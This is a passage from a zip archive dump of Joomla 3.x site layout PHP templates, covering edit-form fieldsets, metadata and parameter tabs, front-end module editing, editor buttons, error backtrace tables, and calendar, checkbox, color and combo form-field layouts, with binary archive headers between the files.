$displayData->getForm()->renderField('language'); ?>
<?php else : ?>
<input type="hidden" id="jform_language"
name="jform[language]" value="<?php echo
$displayData->getForm()->getValue('language'); ?>"
/>
<?php endif; ?>
<?php echo
$displayData->getForm()->renderField('tags'); ?>
<?php if ($saveHistory) : ?>
<?php echo
$displayData->getForm()->renderField('version_note'); ?>
<?php endif; ?>
</fieldset>
</div>
PK!>�[I�he��edit/fieldset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$name = $displayData->get('fieldset');
$fieldSet = $form->getFieldset($name);
if (empty($fieldSet))
{
return;
}
$ignoreFields = $displayData->get('ignore_fields') ? :
array();
$extraFields = $displayData->get('extra_fields') ? : array();
if (!empty($displayData->showOptions) ||
$displayData->get('show_options', 1))
{
if (isset($extraFields[$name]))
{
foreach ($extraFields[$name] as $f)
{
if (in_array($f, $ignoreFields))
{
continue;
}
if ($form->getField($f))
{
$fieldSet[] = $form->getField($f);
}
}
}
$html = array();
foreach ($fieldSet as $field)
{
$html[] = $field->renderField();
}
echo implode('', $html);
}
else
{
$html = array();
$html[] = '<div style="display:none;">';
foreach ($fieldSet as $field)
{
$html[] = $field->input;
}
$html[] = '</div>';
echo implode('', $html);
}
PK!>�[Wf�
�
edit/frontediting_modules.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// JLayout for standard handling of the edit modules:
$moduleHtml = &$displayData['moduleHtml'];
$mod = $displayData['module'];
$position = $displayData['position'];
$menusEditing = $displayData['menusediting'];
$parameters = JComponentHelper::getParams('com_modules');
$redirectUri = '&return=' .
urlencode(base64_encode(JUri::getInstance()->toString()));
$target = '_blank';
$itemid =
JFactory::getApplication()->input->get('Itemid',
'0', 'int');
if (preg_match('/<(?:div|span|nav|ul|ol|h\d)
[^>]*class="[^"]* jmoddiv"/', $moduleHtml))
{
// Module has already module edit button:
return;
}
// Add css class jmoddiv and data attributes for module-editing URL and for
the tooltip:
$editUrl = JUri::base() .
'administrator/index.php?option=com_modules&task=module.edit&id='
. (int) $mod->id;
if ($parameters->get('redirect_edit', 'site') ===
'site')
{
$editUrl = JUri::base() .
'index.php?option=com_config&controller=config.display.modules&id='
. (int) $mod->id . '&Itemid=' . $itemid . $redirectUri;
$target = '_self';
}
// Add class, editing URL and tooltip, and if module of type menu, also the
tooltip for editing the menu item:
$count = 0;
$moduleHtml = preg_replace(
// Replace first tag of module with a class
'/^(\s*<(?:div|span|nav|ul|ol|h\d|section|aside|nav|address|article)
[^>]*class="[^"]*)"/',
// By itself, adding class jmoddiv and data attributes for the URL and
tooltip:
'\\1 jmoddiv" data-jmodediturl="' . $editUrl .
'" data-target="' . $target . '"
data-jmodtip="'
. JHtml::_('tooltipText',
JText::_('JLIB_HTML_EDIT_MODULE'),
htmlspecialchars($mod->title, ENT_COMPAT, 'UTF-8') .
'<br />' .
sprintf(JText::_('JLIB_HTML_EDIT_MODULE_IN_POSITION'),
htmlspecialchars($position, ENT_COMPAT, 'UTF-8')),
0
)
. '"'
// And if menu editing is enabled and allowed and it's a menu module,
add data attributes for menu editing:
. ($menusEditing && $mod->module === 'mod_menu' ?
' data-jmenuedittip="' .
JHtml::_('tooltipText', 'JLIB_HTML_EDIT_MENU_ITEM',
'JLIB_HTML_EDIT_MENU_ITEM_ID') . '"'
:
''
),
$moduleHtml,
1,
$count
);
if ($count)
{
// Load once booststrap tooltip and add stylesheet and javascript to head:
JHtml::_('bootstrap.tooltip');
JHtml::_('bootstrap.popover');
JHtml::_('stylesheet', 'system/frontediting.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/frontediting.js',
array('version' => 'auto', 'relative'
=> true));
}
PK!>�[�edit/global.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$input = $app->input;
$component = $input->getCmd('option',
'com_content');
if ($component === 'com_categories')
{
$extension = $input->getCmd('extension',
'com_content');
$parts = explode('.', $extension);
$component = $parts[0];
}
$saveHistory =
JComponentHelper::getParams($component)->get('save_history',
0);
$fields = $displayData->get('fields') ?: array(
array('parent', 'parent_id'),
array('published', 'state', 'enabled'),
array('category', 'catid'),
'featured',
'sticky',
'access',
'id',
'language',
'tags',
'note',
'version_note',
);
$hiddenFields = $displayData->get('hidden_fields') ?:
array();
$hiddenFields[] = 'id';
if (!$saveHistory)
{
$hiddenFields[] = 'version_note';
}
$html = array();
$html[] = '<fieldset class="form-vertical">';
foreach ($fields as $field)
{
foreach ((array) $field as $f)
{
if ($form->getField($f))
{
if (in_array($f, $hiddenFields))
{
$form->setFieldAttribute($f, 'type', 'hidden');
}
$html[] = $form->renderField($f);
break;
}
}
}
$html[] = '</fieldset>';
echo implode('', $html);
PK!>�[�3"ddedit/item_title.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* @deprecated 3.2
*/
defined('_JEXEC') or die;
$title = $displayData->getForm()->getValue('title');
$name = $displayData->getForm()->getValue('name');
?>
<?php if ($title) : ?>
<h2><?php echo htmlspecialchars($title, ENT_QUOTES,
'UTF-8'); ?></h2>
<?php endif; ?>
<?php if ($name) : ?>
<h2><?php echo htmlspecialchars($name, ENT_QUOTES,
'UTF-8'); ?></h2>
<?php endif;
PK!>�[[��z$$edit/metadata.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
// JLayout for standard handling of metadata fields in the administrator
content edit screens.
$fieldSets = $form->getFieldsets('metadata');
?>
<?php foreach ($fieldSets as $name => $fieldSet) : ?>
<?php if (isset($fieldSet->description) &&
trim($fieldSet->description)) : ?>
<p class="alert alert-info"><?php echo
$this->escape(JText::_($fieldSet->description)); ?></p>
<?php endif; ?>
<?php
// Include the real fields in this panel.
if ($name === 'jmetadata')
{
echo $form->renderField('metadesc');
echo $form->renderField('metakey');
echo $form->renderField('xreference');
}
foreach ($form->getFieldset($name) as $field)
{
if ($field->name !== 'jform[metadata][tags][]')
{
echo $field->renderField();
}
} ?>
<?php endforeach; ?>
PK!>�[ YS
S
edit/params.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$fieldSets = $form->getFieldsets();
if (empty($fieldSets))
{
return;
}
$ignoreFieldsets = $displayData->get('ignore_fieldsets') ?:
array();
$ignoreFields = $displayData->get('ignore_fields') ?:
array();
$extraFields = $displayData->get('extra_fields') ?:
array();
$tabName = $displayData->get('tab_name') ?:
'myTab';
// These are required to preserve data on save when fields are not
displayed.
$hiddenFieldsets = $displayData->get('hiddenFieldsets') ?:
array();
// These are required to configure showing and hiding fields in the editor.
$configFieldsets = $displayData->get('configFieldsets') ?:
array();
// Handle the hidden fieldsets when show_options is set false
if (!$displayData->get('show_options', 1))
{
// The HTML buffer
$html = array();
// Hide the whole buffer
$html[] = '<div style="display:none;">';
// Loop over the fieldsets
foreach ($fieldSets as $name => $fieldSet)
{
// Check if the fieldset should be ignored
if (in_array($name, $ignoreFieldsets, true))
{
continue;
}
// If it is a hidden fieldset, render the inputs
if (in_array($name, $hiddenFieldsets))
{
// Loop over the fields
foreach ($form->getFieldset($name) as $field)
{
// Add only the input on the buffer
$html[] = $field->input;
}
// Make sure the fieldset is not rendered twice
$ignoreFieldsets[] = $name;
}
// Check if it is the correct fieldset to ignore
if (strpos($name, 'basic') === 0)
{
// Ignore only the fieldsets which are defined by the options not the
custom fields ones
$ignoreFieldsets[] = $name;
}
}
// Close the container
$html[] = '</div>';
// Echo the hidden fieldsets
echo implode('', $html);
}
// Loop again over the fieldsets
foreach ($fieldSets as $name => $fieldSet)
{
// Ensure any fieldsets we don't want to show are skipped (including
repeating formfield fieldsets)
if ((isset($fieldSet->repeat) && $fieldSet->repeat === true)
|| in_array($name, $ignoreFieldsets)
|| (!empty($configFieldsets) && in_array($name, $configFieldsets,
true))
|| (!empty($hiddenFieldsets) && in_array($name, $hiddenFieldsets,
true))
)
{
continue;
}
// Determine the label
if (!empty($fieldSet->label))
{
$label = JText::_($fieldSet->label);
}
else
{
$label = strtoupper('JGLOBAL_FIELDSET_' . $name);
if (JText::_($label) === $label)
{
$label = strtoupper($app->input->get('option') .
'_' . $name . '_FIELDSET_LABEL');
}
$label = JText::_($label);
}
// Start the tab
echo JHtml::_('bootstrap.addTab', $tabName, 'attrib-'
. $name, $label);
// Include the description when available
if (isset($fieldSet->description) &&
trim($fieldSet->description))
{
echo '<p class="alert alert-info">' .
$this->escape(JText::_($fieldSet->description)) .
'</p>';
}
// The name of the fieldset to render
$displayData->fieldset = $name;
// Force to show the options
$displayData->showOptions = true;
// Render the fieldset
echo JLayoutHelper::render('joomla.edit.fieldset',
$displayData);
// End the tab
echo JHtml::_('bootstrap.endTab');
}
PK!>�[o���edit/publishingdata.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$fields = $displayData->get('fields') ?: array(
'publish_up',
'publish_down',
array('created', 'created_time'),
array('created_by', 'created_user_id'),
'created_by_alias',
array('modified', 'modified_time'),
array('modified_by', 'modified_user_id'),
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
foreach ($fields as $field)
{
foreach ((array) $field as $f)
{
if ($form->getField($f))
{
if (in_array($f, $hiddenFields))
{
$form->setFieldAttribute($f, 'type', 'hidden');
}
echo $form->renderField($f);
break;
}
}
}
PK!>�[����edit/title_alias.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
$title = $form->getField('title') ? 'title' :
($form->getField('name') ? 'name' : '');
?>
<div class="form-inline form-inline-header">
<?php
echo $title ? $form->renderField($title) : '';
echo $form->renderField('alias');
?>
</div>
PK!>�[��5�BBeditors/buttons/button.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$button = $displayData;
?>
<?php if ($button->get('name')) : ?>
<?php
$class = $button->get('class') ?: null;
$class .= $button->get('modal') ? ' modal-button'
: null;
$href = $button->get('link') ? ' href="'
. JUri::base() . $button->get('link') . '"' :
null;
$onclick = $button->get('onclick') ? '
onclick="' . $button->get('onclick') .
'"' : '';
$title = $button->get('title') ?:
$button->get('text');
// Load modal popup behavior
if ($button->get('modal'))
{
JHtml::_('behavior.modal', 'a.modal-button');
}
?>
<a class="<?php echo $class; ?>" title="<?php
echo $title; ?>" <?php echo $href, $onclick; ?>
rel="<?php echo $button->get('options');
?>">
<span class="icon-<?php echo
$button->get('name'); ?>"
aria-hidden="true"></span> <?php echo
$button->get('text'); ?>
</a>
<?php endif;
PK!>�[3�|KKeditors/buttons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$buttons = $displayData;
?>
<div id="editor-xtd-buttons" class="btn-toolbar
pull-left" role="toolbar" aria-label="<?php echo
JText::_('JTOOLBAR'); ?>">
<?php if ($buttons) : ?>
<?php foreach ($buttons as $button) : ?>
<?php echo $this->sublayout('button', $button); ?>
<?php endforeach; ?>
<?php endif; ?>
</div>
PK!>�[��˴�error/backtrace.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/** @var $displayData array */
$backtraceList = $displayData['backtrace'];
if (!$backtraceList)
{
return;
}
$class = isset($displayData['class']) ?
$displayData['class'] : 'table table-striped
table-bordered';
?>
<table cellpadding="0" cellspacing="0"
class="Table <?php echo $class ?>">
<tr>
<td colspan="3" class="TD">
<strong>Call stack</strong>
</td>
</tr>
<tr>
<td class="TD">
<strong>#</strong>
</td>
<td class="TD">
<strong>Function</strong>
</td>
<td class="TD">
<strong>Location</strong>
</td>
</tr>
<?php foreach ($backtraceList as $k => $backtrace): ?>
<tr>
<td class="TD">
<?php echo $k + 1; ?>
</td>
<?php if (isset($backtrace['class'])): ?>
<td class="TD">
<?php echo $backtrace['class'] .
$backtrace['type'] . $backtrace['function'] .
'()'; ?>
</td>
<?php else: ?>
<td class="TD">
<?php echo $backtrace['function'] . '()'; ?>
</td>
<?php endif; ?>
<?php if (isset($backtrace['file'])): ?>
<td class="TD">
<?php echo JHtml::_('debug.xdebuglink',
$backtrace['file'], $backtrace['line']); ?>
</td>
<?php else: ?>
<td class="TD">
 
</td>
<?php endif; ?>
</tr>
<?php endforeach; ?>
</table>
PK!>�[�V�error/index.htmlnu�[���<!DOCTYPE
html><title></title>
PK!>�[�(He��form/field/calendar.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
// Get some system objects.
$document = JFactory::getDocument();
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
*
* Calendar Specific
* @var string $localesPath The relative path for the locale file
* @var string $helperPath The relative path for the helper file
* @var string $minYear The minimum year, that will be
subtracted/added to current year
* @var string $maxYear The maximum year, that will be
subtracted/added to current year
* @var integer $todaybutton The today button
* @var integer $weeknumbers The week numbers display
* @var integer $showtime The time selector display
* @var integer $filltable The previous/next month filling
* @var integer $timeformat The time format
* @var integer $singleheader Display different header row for
month/year
* @var integer $direction The document direction
*/
$inputvalue = '';
// Build the attributes array.
$attributes = array();
empty($size) ? null : $attributes['size'] = $size;
empty($maxlength) ? null : $attributes['maxlength'] = '
maxlength="' . $maxLength . '"';
empty($class) ? null : $attributes['class'] = $class;
!$readonly ? null : $attributes['readonly'] =
'readonly';
!$disabled ? null : $attributes['disabled'] =
'disabled';
empty($onchange) ? null : $attributes['onchange'] = $onchange;
if ($required)
{
$attributes['required'] = '';
$attributes['aria-required'] = 'true';
}
// Handle the special case for "now".
if (strtoupper($value) == 'NOW')
{
$value = JFactory::getDate()->format('Y-m-d H:i:s');
}
$readonly = isset($attributes['readonly']) &&
$attributes['readonly'] == 'readonly';
$disabled = isset($attributes['disabled']) &&
$attributes['disabled'] == 'disabled';
if (is_array($attributes))
{
$attributes = ArrayHelper::toString($attributes);
}
$cssFileExt = ($direction === 'rtl') ? '-rtl.css' :
'.css';
// Load polyfills for older IE
JHtml::_('behavior.polyfill', array('event',
'classlist', 'map'), 'lte IE 11');
// The static assets for the calendar
JHtml::_('script', $localesPath, false, true, false, false,
true);
JHtml::_('script', $helperPath, false, true, false, false, true);
JHtml::_('script', 'system/fields/calendar.min.js',
false, true, false, false, true);
JHtml::_('stylesheet', 'system/fields/calendar' .
$cssFileExt, array(), true);
?>
<div class="field-calendar">
<?php if (!$readonly && !$disabled) : ?>
<div class="input-append">
<?php endif; ?>
<input type="text" id="<?php echo $id; ?>"
name="<?php
echo $name; ?>" value="<?php
echo htmlspecialchars(($value !== '0000-00-00 00:00:00') ?
$value : '', ENT_COMPAT, 'UTF-8'); ?>" <?php
echo $attributes; ?>
<?php echo !empty($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: ''; ?> data-alt-value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
autocomplete="off"/>
<button type="button" class="<?php echo ($readonly
|| $disabled) ? 'hidden ' : ''; ?>btn
btn-secondary"
id="<?php echo $id; ?>_btn"
data-inputfield="<?php echo $id; ?>"
data-dayformat="<?php echo $format; ?>"
data-button="<?php echo $id; ?>_btn"
data-firstday="<?php echo
JFactory::getLanguage()->getFirstDay(); ?>"
data-weekend="<?php echo
JFactory::getLanguage()->getWeekEnd(); ?>"
data-today-btn="<?php echo $todaybutton; ?>"
data-week-numbers="<?php echo $weeknumbers; ?>"
data-show-time="<?php echo $showtime; ?>"
data-show-others="<?php echo $filltable; ?>"
data-time-24="<?php echo $timeformat; ?>"
data-only-months-nav="<?php echo $singleheader; ?>"
<?php echo isset($minYear) && strlen($minYear) ?
'data-min-year="' . $minYear . '"' :
''; ?>
<?php echo isset($maxYear) && strlen($maxYear) ?
'data-max-year="' . $maxYear . '"' :
''; ?>
title="<?php echo
JText::_('JLIB_HTML_BEHAVIOR_OPEN_CALENDAR'); ?>"
><span class="icon-calendar"
aria-hidden="true"></span></button>
<?php if (!$readonly && !$disabled) : ?>
</div>
<?php endif; ?>
</div>
PK!>�[N�Rr��form/field/checkboxes.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="checkbox" id="%1$s"
name="%2$s" value="%3$s" %4$s />';
// The alt option for JText::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' checkboxes'); ?>"
<?php echo $required ? 'required
aria-required="true"' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = in_array((string) $option->value, $checkedOptions, true) ?
'checked' : '';
// In case there is no stored value, use the option's default
state.
$checked = (!$hasValue && $option->checked) ?
'checked' : $checked;
$optionClass = !empty($option->class) ? 'class="' .
$option->class . '"' : '';
$optionDisabled = !empty($option->disable) || $disabled ?
'disabled' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ? 'onclick="' .
$option->onclick . '"' : '';
$onchange = !empty($option->onchange) ? 'onchange="' .
$option->onchange . '"' : '';
$oid = $id . $i;
$value = htmlspecialchars($option->value, ENT_COMPAT,
'UTF-8');
$attributes = array_filter(array($checked, $optionClass,
$optionDisabled, $onchange, $onclick));
?>
<label for="<?php echo $oid; ?>"
class="checkbox">
<?php echo sprintf($format, $oid, $name, $value, implode('
', $attributes)); ?>
<?php echo $option->text; ?></label>
<?php endforeach; ?>
</fieldset>
PK!>�[��3��form/field/color/advanced.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellchec Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $checked Is this field checked?
* @var array $position Is this field checked?
* @var array $control Is this field checked?
*/
if ($validate !== 'color' && in_array($format,
array('rgb', 'rgba'), true))
{
$alpha = ($format === 'rgba');
$placeholder = $alpha ? 'rgba(0, 0, 0, 0.5)' : 'rgb(0, 0,
0)';
}
else
{
$placeholder = '#rrggbb';
}
$inputclass = ($keywords && ! in_array($format,
array('rgb', 'rgba'), true)) ? ' keywords' :
' ' . $format;
$class = ' class="' . trim('minicolors ' .
$class) . ($validate === 'color' ? '' : $inputclass) .
'"';
$control = $control ? ' data-control="' . $control .
'"' : '';
$format = $format ? ' data-format="' . $format .
'"' : '';
$keywords = $keywords ? ' data-keywords="' . $keywords .
'"' : '';
$validate = $validate ? ' data-validate="' . $validate .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$readonly = $readonly ? ' readonly' : '';
$hint = strlen($hint) ? ' placeholder="' .
$this->escape($hint) . '"' : '
placeholder="' . $placeholder . '"';
$autocomplete = ! $autocomplete ? ' autocomplete="off"'
: '';
// Force LTR input value in RTL, due to display issues with rgba/hex colors
$direction = $lang->isRtl() ? ' dir="ltr"
style="text-align:right"' : '';
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
JHtml::_('script', 'jui/jquery.minicolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.minicolors.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script',
'system/color-field-adv-init.min.js', array('version'
=> 'auto', 'relative' => true));
?>
<input type="text" name="<?php echo $name; ?>"
id="<?php echo $id; ?>" value="<?php echo
$this->escape($color); ?>"<?php
echo $hint,
$class,
$position,
$control,
$readonly,
$disabled,
$required,
$onchange,
$autocomplete,
$autofocus,
$format,
$keywords,
$direction,
$validate;
?>/>
PK">�[e8��~
~
form/field/color/simple.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellchec Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $checked Is this field checked?
* @var array $position Is this field checked?
* @var array $control Is this field checked?
*/
$class = ' class="' . trim('simplecolors chzn-done
' . $class) . '"';
$disabled = $disabled ? ' disabled' : '';
$readonly = $readonly ? ' readonly' : '';
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
JHtml::_('script', 'jui/jquery.simplecolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.simplecolors.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/color-field-init.min.js',
array('version' => 'auto', 'relative'
=> true));
?>
<select data-chosen="true" name="<?php echo $name;
?>" id="<?php echo $id; ?>"<?php
echo $disabled; ?><?php echo $readonly; ?><?php echo $required;
?><?php echo $class; ?><?php echo $position; ?><?php
echo $onchange; ?><?php echo $autofocus; ?>
style="visibility:hidden;width:22px;height:1px">
<?php foreach ($colors as $i => $c) : ?>
<option<?php echo ($c == $color ? '
selected="selected"' : ''); ?>><?php echo
$c; ?></option>
<?php if (($i + 1) % $split == 0) : ?>
<option>-</option>
<?php endif; ?>
<?php endforeach; ?>
</select>
PK">�[�IIform/field/combo.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
JHtml::_('behavior.combobox');
$attr = !empty($class) ? ' class="combobox ' . $class .
'"' : ' class="combobox"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= !empty($readonly) ? ' readonly' : '';
$attr .= !empty($disabled) ? ' disabled' : '';
$attr .= !empty($required) ? ' required
aria-required="true"' : '';
// Initialize JavaScript field attributes.
